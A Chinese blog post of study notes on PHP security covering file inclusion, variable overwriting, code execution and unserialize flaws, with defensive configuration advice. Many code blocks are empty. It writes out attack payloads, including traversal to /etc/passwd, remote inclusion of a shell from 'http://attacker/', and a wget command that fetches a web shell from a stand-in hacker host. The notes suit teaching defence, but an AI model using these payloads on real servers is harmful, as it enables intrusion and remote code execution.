我喜欢我望向别处时,他落在我身上的目光。 ——《爱在破晓前》
PHP安全
文件包含漏洞
- 文件包含漏洞是代码注入的一种
- 代码注入:注入一段用户可以控制的脚本或代码,并让服务端执行
- PHP用来完成文件包含的4个函数:include(),require(),include_once(),require_once()
- 当用这4个函数包含一个新的文件时,会将文件当作php代码执行,而不管包含的这个文件是什么类型
场景:
1 |
|
hacker在同目录下创建一个a.txt,然后传入参数test = a.txt
,a.txt内容:
1 | for test!!! |
然后这段php代码就被执行了。
成功利用文件包含漏洞的2个条件:
- include()函数通过动态变量的方式引入需要包含的文件
- 用户可以控制该动态变量
本地文件包含
- LFI漏洞(Local File Inclusion):能够打开并包含本地文件的漏洞
场景:
1 |
|
hacker通过控制$file
就可以包含本地文件,假设hacker构造$file = ../../etc/passwd
,但passwd.php
是不存在的,怎么办呢?
- php的内核是用C写的,在连接字符串时,C语言用0字节(\x00)作为字符串结束符,所以hacker会构造
$file = ../../etc/passwd\0
,通过web输入时,通过UrlEncode变成$file = ../../etc/passwd%00
- 一般的web应用,0字节时不需要用户使用的,所以一般会完全禁止0字节。但这样并没有完全解决问题
- hacker可以通过利用操作系统对目录最大长度的限制,不需要用0字节,也可以起到截断字符串的效果
查看敏感信息
- 除了include()等4个函数外,php中能队文件进行操作的函数都有可能出现漏洞,即使不能执行php代码,也可以读取到一些敏感信息或者服务器源代码,为hacker下一步攻击做铺垫
- 在上例中,是用来
../../../
这样的方式返回上层目录,这样的方式被称作“目录遍历” - 常见的目录遍历还可以通过一些编码方式,来绕过一些服务器逻辑,例如:%2e%2e%2f等同于../等
- 目录遍历漏洞是一种跨越目录读取文件的方法,有了它hacker可以读取任何文件
- 当php配置了open_basedir时,将很好地保护服务器,使这种攻击无效,open_basedir的作用是限制在某个特定目录下PHP可以打开的文件
- open_basedir的值时目录的前缀,例如设置
open_basedir = /home/app/aaa
那么/home/app/aaaa22222
其实也是合法的,如果想要限定一个指定的目录,需要在后面加一个反斜杠,即设置open_basedir = /home/app/aaa/
防御本地文件包含漏洞
- 应该尽量避免,在用户可以控制的变量中,出现动态变量
- 还可以用枚举法来避免任意文件包含的风险:
1 |
|
远程文件包含
- RFI(Remote File Inclusion):远程加载了有漏洞的文件
- PHP的配置选项
allow_url_include
为ON
时,include/require可以加载远程文件
场景:
1 |
|
hacker在phpshell.txt中写好php代码,然后构造:
1 | /?param=http://attacker/phpshell.txt? |
最终结果:
1 | require_once 'http://attacker/phpshell.txt?/action/m_share.php' |
问号后面被解释成URL的query string,也是一种截断,也可以用%00截断
本地文件包含的利用技巧
- 远程文件包含漏洞可以执行命令,因为hacker可以自定义被包含的文件内容
- 如果hacker可以找到一个可控制的本地文件,那么本地文件包含漏洞也可以执行命令
- 安全研究者总结了以下几种常见的技巧,用于本地文件包含后执行PHP代码
包含用户上传的文件
- 用户上传的文件中,有PHP代码,这些代码被include()加载后将被执行
- 攻击能否成功取决于文件上传功能的设计,比如把上传的文件放在一个独立安全的存储空间中
包含data://或php://input等伪协议
- 这些伪协议需要服务器的支持,同时要求
allow_url_include
为ON - 例如
http://www.example.com/index.php?file=data:text/plain,<?php phpinfo(); ?>%00
包含Session文件
- 要求hacker可以控制部分Session文件内容,例如
x|s:19:"<?php phpinfo(); ?>"
- PHP默认生成的Session文件存储在/tmp目录下,例如
/tmp/sess_SESSIONID
包含日志文件,比如Web Server的access log
- 服务器一般会往Web Server的access log中记录客户端的请求信息,在error_log里记录出错请求
- hacker只要把php代码写进日志文件,文件包含时,包含日志文件即可
- 对于访问量大的服务器,其日志文件一般也会很大,如果直接包含一个很大的文件,PHP进程可能会僵死。这些服务器一般都会滚动日志,即每天生成新的日志,所以hacker在凌晨在日志文件中写php代码,然后攻击,成功率是最高的,因为此时日志文件一般很小
- 不过前提是你可以找到日志文件
包含/proc/self/environ文件
- hacker可以使用
http://www.website.com/view.php?page=../../../../../proc/self/environ
来访问到该文件,有很多信息都是用户可以控制的(如下图) - 最常见的做法就是在User-Agent中注入PHP代码,例如:
1
'wget http://hacker/Shells/phpshell.txt -O shell.php'); system(
包含上传的临时文件(RFC1867)
- 以上方法都要求PHP可以包含这些文件,而这些文件往往处于Web目录之外,如果PHP配置了open_basedir,则可能值得攻击失效
- 根据RFC1867,PHP上传文件时,会创建临时文件,这些临时文件往往处于PHP允许访问的目录范围内
- 临时文件一般会在/tmp目录(如果在Linux下)
- 临时文件的文件名是随机的,但可能没有使用安全的随机函数,所以hacker可以暴力破解
变量覆盖漏洞
全局变量覆盖
场景:
1 |
|
在register_globals为OFF时,会报错,因为$auth
没有定义;当register_globals为ON时,提交请求:http://www.a.com/test1.php?auth=1
,变量$auth
将被自动赋值,结果返回:
1 | Register_globals: 1 |
类似的,通过$GLOBALS获取变量,也可能导致变量覆盖。场景:
1 |
|
此时提交http://www.a.com/test1.php?a=1&b=2
,即使register_globals = ON
也会报错,因为unset()把变量注销掉了,所以print时,$a
和$_GET[b]
都没有初始化。
但如果选择使用http://www.a.com/test1.php?GLOBALS[a]=1&b=2
覆盖全局变量时,$a
就可以被打印,但$_GET[b]
还是会报错,因为不是全局的。
出现这样的效果是因为unset()默认只会销毁局部变量,要销毁全局变量必须使用$GLOBALS。例如:
1 |
|
而当register_globals = OFF
时,就无法覆盖到全局变量。当无法控制php的配置文件时,就要覆盖所有的superglobals,参考以下代码(没太看懂):
1 |
|
extract()变量覆盖
extract()会将变量从数组导入当前的符号表,其第二个参数决定了函数将变量导入符号表时的行为,常见的2个值为:
- EXTR_OVERWRITE:将变量导入符号集过程中,如果变量名发生冲突,则覆盖已有变量
- EXTR_SKIP:跳过不覆盖
- 不写第二个参数时,默认为EXTR_OVERWRITE
场景:
1 |
|
正常情况下,会echo "public!"
,但如果hacker构造链接http://www.a.com/test1.php?auth=1
,会执行echo "private!"
,$auth被覆盖了
解决方法
- 确保
register_globals = OFF
- 调用extract()时,使用EXTR_SKIP
遍历初始化变量(没看懂)
- 常见的一些以遍历的方式释放变量的代码,可能会导致变量覆盖:
1 |
|
- 如果提交参数chs(某个$key = chs),就有可能覆盖掉$chs
import_request_variables变量覆盖
import_request_variables()将GET,POST,Cookie中的变量导入到全局,第二个参数是为导入的变量添加的前缀,如果没有指定,将覆盖全局变量
场景:(URL = www.a.com/test1.php?auth=1
)
1 |
|
最终执行了echo "private!"
parse_str()变量覆盖
parse_str()用来解析URL的query string(例如包括var = aaa),那么如下代码就发生了变量覆盖
1 |
|
安全建议
- 确保
register_globals = OFF
,若不能自定义php的配置文件,应该在代码中控制 - 熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源
- 养成初始化变量的好习惯
代码执行漏洞
代码执行有漏洞的条件:
- 用户能够控制函数的输入
- 存在可以执行代码的危险函数
“危险函数”执行代码
- 如上文所说,文件包含漏洞可以造成代码执行
- 还有很多危险函数可以执行代码,例如
popen(),system(),passthru(),exec(),eval()
等等 - 挖掘漏洞的过程,通常需要先找到危险函数,然后回溯函数的调用过程,最终看到整个调用的过程中,用户是否有可能控制输入
“文件写入”执行代码
如果PHP操作的文件可以被用户控制,也容易成为漏洞
其他执行代码方式
下面对常见的代码执行漏洞进行分类:
直接执行代码的函数
eval(),assert(),system(),exec(),shell_exec(),passthru(),escapeshellcmd(),pcntl_exec()
1 |
|
- 一般来说,最好在PHP中禁用这些函数,在审计代码时,可以检查代码中是否存在这些函数,如果有的话,就回溯看用户是否可以控制输入
文件包含
需要注意include(),include_once(),require(),require_once()
1 |
|
本地文件写入
- 可以往本地文件写入内容的函数都需要提防
file_put_contents(),fwrite(),fputs()
等- 写入文件的功能可以和文件包含、危险函数等漏洞结合,使得原本无法控制的输入变成可控的
preg_replace()代码执行
preg_replace()的第一个参数如果存在/e模式修饰符,则允许代码执行(hacker无论控制第二个参数,还是第三个参数,payload都可以被执行):
1 |
|
如果第一个参数中没有/e,但有一个用户可以控制的变量,用户可以用“/e%00”来截断字符串,从而注入/e
1 |
|
hacker构造http://www.example.com/index.php?re=<\/tag>/e%00
即可
动态函数执行
场景:
1 |
|
这样的写法近似于后门,将直接导致代码执行,hacker构造http://www.example.com/index.php?dyn_func=system&argument=uname
类似地,creat_function也有这样的能力:
1 | <?php |
hacker构造http://www.example.com/index.php?foobar=system('ls')
Curly Syntax
PHP的Curly Syntax会执行花括号中的代码,并把结果代替回去,例如:
1 |
|
下例中,phpinfo()将被执行:
1 |
|
回调函数执行代码
很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行:
1 |
|
hacker构造:http://www.example.com/index.php?callback=phpinfo
ob_start()实际上也是执行回调函数,需要特别注意:
1 |
|
unserialize()导致代码执行
- unserialize()将序列化的数据重新映射为PHP变量
- unserialize()在执行时,如果定义了
_destruct()
和_wakeup()
,这2个函数将被执行
攻击条件:
- unserialize()的参数用户可以控制,这样可以构造出需要反序列化的数据结构
- 存在
_destruct()
或_wakeup()
函数,这2个函数实现的逻辑决定了能执行什么样的代码
hacker可以通过unserialize()控制_destruct()
和_wakeup()
中函数的输入:
1 |
|
hacker构造http://www.example.com/index.php?saved_code=0:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}
攻击payload可以先模仿目标代码的实现过程,然后再通过调用serialize()获得
制定安全的PHP环境
推荐的php配置文件的设置
1 | register_globals = OFF |
本文链接: https://bano247.com/2021/11/10/PHP安全/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!